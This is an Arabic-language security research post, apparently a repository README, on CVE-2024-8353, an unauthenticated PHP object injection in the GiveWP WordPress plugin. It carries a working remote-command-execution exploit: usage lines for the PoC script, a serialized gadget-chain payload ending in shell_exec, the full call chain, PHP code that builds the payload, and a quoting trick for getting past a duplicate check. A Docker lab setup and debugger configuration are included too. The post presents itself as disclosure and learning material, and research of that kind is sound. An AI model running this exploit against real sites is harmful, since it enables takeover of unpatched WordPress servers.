
استغلال ثغرة PHP Object Injection في GiveWP
هذا المنشور هو مقال بحثي نشرته EQSTLab. شكرًا لـ cuokon، الذي اكتشف هذه الثغرة الأمنية.
تحليل إضافي لـ CVE-2024-5932 EQST Insight R&T (ملف PDF).
https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021
★ CVE-2024-8353 حذف الملفات التعسفي و PoC لتنفيذ الأوامر عن بُعد ★
CVE-2024-8353: ثغرة حقن كائنات PHP في GiveWP
الوصف: إضافة givewp – إضافة التبرعات ومنصة جمع التبرعات لـ WordPress – معرضة لثغرة حقن كائنات PHP في جميع الإصدارات حتى 3.16.1 شاملة، عبر إلغاء تسلسل الإدخال غير الموثوق من خلال عدة معاملات مثل give_title و card_address. وهذا يسمح للمهاجمين غير المصادقين بحقن كائن PHP. وجود سلسلة استغلال إضافية يسمح للمهاجمين بحذف ملفات تعسفية وتحقيق تنفيذ أوامر عن بُعد. هذه هي نفس الثغرة بشكل أساسي مثل CVE-2024-5932، ولكن تم اكتشاف أن وجود stripslashes_deep على user_info يسمح بتجاوز التحقق من is_serialized. تم إصلاح هذه المشكلة في الغالب في الإصدار 3.16.1، ولكن تمت إضافة تعزيزات إضافية في الإصدار 3.16.2.
⚠️ عند استخدام PoC، يمكنك استخدام نفس الأمر مرة واحدة فقط لأن “give_title” يتم تخزينه في قاعدة البيانات والتحقق من التكرارات. في هذه الحالة، يمكنك استخدام بعض الحيل في Linux، خاصة علامات الاقتباس. على سبيل المثال، إذا كنت تستخدم “echo”، يمكنك إعادة استخدامه عن طريق كتابة “e‘’cho”.
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353
pip install -r requirements.txt
# تنفيذ أوامر عن بُعد
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-8353.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.16.0.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



يمكنك تصحيح GiveWP باستخدام PHPSTORM.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..وبعد ذلك يمكنك تصحيح WordPress الخاص بك.


في الأساس، التسلسل هو نفسه كما في CVE-2024-5932، مع الاختلاف أن منطق “is_serialized” تمت إضافته أيضًا إلى المعامل “give_title”. تحدد الطريقة أنه إذا لم تكن هناك إشارة :(نقطتان) في الفهرس 1، فإن البيانات ليست متسلسلة.

بعد طريقة “is_serialized”، تقوم دالة “stripslashes_deep” بإزالة الشرطة المائلة للخلف. لذلك، تتم إزالة الشرطة المائلة للخلف الرائدة () ويتم تمرير البيانات المتسلسلة.

\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (إرجاع سلسلة الأمر)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
تسمح سلسلة الاستغلال بتنفيذ الأوامر عن بُعد.

هذا المستودع ليس مخصصًا لاستغلال ثغرة حقن الكائنات لـ CVE-2024-8353. الغرض من هذا المشروع هو مساعدة الأشخاص على تعلم هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.
ننشر تحليلات CVE والبرامج الضارة مرة واحدة شهريًا. إذا كنت مهتمًا، يرجى متابعة الروابط أدناه للاطلاع على منشوراتنا. https://www.skshieldus.com/eng/business/insight.do